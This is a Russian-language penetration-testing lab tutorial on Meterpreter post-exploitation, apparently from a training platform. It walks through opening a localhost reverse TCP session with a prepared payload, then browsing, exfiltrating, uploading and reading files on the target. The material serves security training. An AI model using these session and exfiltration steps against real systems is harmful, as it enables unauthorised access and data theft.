Введение
В этой лабораторной работе вы изучите основные методы взаимодействия с файловой системой цели с помощью Meterpreter, продвинутого пейлоада, являющегося частью Metasploit Framework. Пост-эксплуатация является критически важным этапом тестирования на проникновение, и умение перемещаться по файловой системе, скачивать конфиденциальные файлы и загружать собственные инструменты или скрипты — это необходимый навык.
Мы пройдемся по процессу установления сессии Meterpreter, а затем используем основные команды, такие как ls, cd, download, upload и cat, для исследования и манипулирования файлами на скомпрометированной системе.
Список файлов и каталогов с помощью команды ls
На этом шаге мы сначала установим сессию Meterpreter, а затем используем команду ls для вывода списка файлов в целевой системе. Наш скрипт настройки уже создал пейлоад (payload.elf) и файл конфигурации слушателя (listener.rc).
Сначала запустим слушатель Metasploit. Он будет ожидать входящее соединение от пейлоада. Мы используем флаг -r для загрузки нашего файла ресурсов, который автоматизирует настройку.
Откройте терминал и выполните следующую команду:
msfconsole -r listener.rc
Вы увидите, как запустится консоль Metasploit, и обработчик будет работать как фоновая задача. Вывод будет выглядеть примерно так:
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
Теперь нам нужно выполнить пейлоад для подключения к нашему слушателю. Откройте новый терминал, нажав значок "+" на панели вкладок терминала. В этом новом терминале выполните файл пейлоада, расположенный в вашем каталоге ~/project.
./payload.elf
Эта команда не даст никакого вывода. Переключитесь обратно на ваш первый терминал (тот, который запускает msfconsole). Вы должны увидеть сообщение, указывающее на то, что сессия была открыта.
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Примечание: Если вы не были автоматически помещены в сессию, вы можете просмотреть активные сессии с помощью команды
sessionsи взаимодействовать с одной из них, используяsessions -i <ID>, например,sessions -i 1.
Теперь вы находитесь в сессии Meterpreter, на что указывает приглашение meterpreter >. Любая команда, которую вы здесь введете, будет выполнена на целевой машине. Давайте используем команду ls для вывода списка файлов в текущем каталоге цели.
ls
Это выведет список файлов и каталогов в текущем рабочем каталоге цели.
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc
Смена каталогов с помощью команды cd
На этом шаге вы научитесь перемещаться по файловой системе цели с помощью команды cd (change directory) в Meterpreter. Это работает так же, как стандартная команда cd в Linux.
Наш скрипт настройки создал каталог /tmp/victim_files в целевой системе. Давайте перейдем в каталог /tmp.
cd /tmp
Сама команда не производит никакого вывода. Чтобы убедиться, что мы сменили каталог, мы можем использовать команду pwd (print working directory).
pwd
Вывод покажет ваш текущий каталог на целевой машине.
meterpreter > pwd
/tmp
Теперь, когда мы находимся в каталоге /tmp, давайте выведем его содержимое с помощью ls, чтобы найти каталог victim_files.
ls
Вы должны увидеть каталог victim_files среди других файлов и каталогов в /tmp.
meterpreter > ls
Listing: /tmp
============
Mode Size Type Perms Name
---- ---- ---- ----- ----
...
40777/rwxrwxrwx 4096 dir rwx/- victim_files
...
Загрузка файла с цели с помощью команды download
На этом шаге мы загрузим файл с целевой системы на нашу собственную машину. Это важный метод для эксфильтрации данных. Мы будем использовать команду download.
Сначала давайте перейдем в каталог victim_files, который мы нашли на предыдущем шаге.
cd victim_files
Теперь выведем список файлов в этом каталоге, чтобы найти наш целевой файл.
ls
Вы увидите файл secret_notes.txt, который был создан скриптом настройки.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Теперь давайте загрузим этот файл в наш локальный каталог ~/project. Синтаксис: download <файл_на_цели>. По умолчанию он будет загружен в ваш текущий локальный каталог.
download secret_notes.txt
Вы должны увидеть подтверждающее сообщение об успешной загрузке.
[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt
Для проверки вы можете открыть новый терминал (или использовать второй, который вы открыли ранее) и вывести список файлов в вашем каталоге ~/project на вашей локальной машине.
ls ~/project
Теперь вы должны увидеть secret_notes.txt в списке файлов.
Загрузка файла на цель с помощью команды upload
На этом шаге вы научитесь загружать файл с вашей машины на целевую систему с помощью команды upload. Это полезно для размещения инструментов, скриптов или других полезных нагрузок на цели.
Сначала нам нужен файл на нашей локальной машине для загрузки. Давайте создадим его. В вашем локальном терминале (не в сессии Meterpreter) выполните следующую команду, чтобы создать файл с именем attacker_file.txt.
echo "attacker data" > ~/project/attacker_file.txt
Теперь вернитесь в свою сессию Meterpreter. Вы должны по-прежнему находиться в каталоге /tmp/victim_files на цели. Мы загрузим attacker_file.txt из нашего локального каталога ~/project в текущий каталог цели.
Синтаксис: upload <путь_к_локальному_файлу>.
upload /home/labex/project/attacker_file.txt
Вы увидите подтверждение успешной загрузки.
[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt
Чтобы подтвердить, что файл находится на цели, выполните команду ls в вашей сессии Meterpreter.
ls
Теперь вы должны увидеть как secret_notes.txt, так и ваш только что загруженный attacker_file.txt.
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 14 fil rw-/- attacker_file.txt
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
Просмотр содержимого текстового файла с помощью команды cat
На этом заключительном шаге мы будем использовать команду cat в Meterpreter для просмотра содержимого файлов непосредственно в файловой системе цели, без необходимости предварительной загрузки.
Вы должны по-прежнему находиться в каталоге /tmp/victim_files на цели в вашей сессии Meterpreter.
Сначала давайте посмотрим содержимое исходного файла, secret_notes.txt.
cat secret_notes.txt
Команда выведет содержимое файла непосредственно в вашу консоль.
meterpreter > cat secret_notes.txt
This is a secret file from the target.
Далее, давайте посмотрим содержимое файла, который мы загрузили, attacker_file.txt, чтобы убедиться, что он был передан корректно.
cat attacker_file.txt
Вы должны увидеть текст, который мы создали на нашей локальной машине.
meterpreter > cat attacker_file.txt
attacker data
Эта команда чрезвычайно полезна для быстрого просмотра конфигурационных файлов, журналов или скриптов в целевой системе.
Итоги
Поздравляем с завершением этой лабораторной работы! Вы освоили основные команды Meterpreter для взаимодействия с файловой системой цели.
Вы успешно установили сессию Meterpreter и отработали следующие ключевые команды пост-эксплуатации:
ls: для вывода списка файлов и каталогов.cd: для навигации по файловой системе.pwd: для определения текущего рабочего каталога.download: для извлечения файлов с цели на вашу машину.upload: для размещения файлов с вашей машины на цели.cat: для просмотра содержимого текстовых файлов непосредственно на цели.
Овладение этими командами является фундаментальным шагом на пути к совершенствованию в Metasploit Framework и проведению эффективных тестов на проникновение.


